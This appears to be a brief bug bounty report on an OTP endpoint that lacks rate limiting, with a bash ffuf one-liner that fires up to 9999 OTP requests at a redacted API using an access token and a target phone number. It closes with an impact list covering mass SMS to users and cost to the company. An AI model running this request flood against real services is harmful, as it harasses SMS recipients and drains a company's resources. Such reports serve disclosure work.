Endpoint Requesting an otp but problem is there is no rate limiting. We can request unlimited otp’s.

I crafted A ffuf Request to make it fast and easier

#!/bin/bash // exploit.sh
seq 1  9999 | ffuf -u https://sub.redacted.com/api/v2/otp -H 'accessToken:9CaeE1dbeMDfUw...' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept-Encoding: gzip, deflate' -H 'User-Agent: okhttp/4.0.1 FUZZ' -replay-proxy http://localhost:8080 -d  'param1=value1&data=919030178910 -w -

1. Attacker can send mass sms to victim who uses the product.

2. Over-using of resources leads to more cost to the company.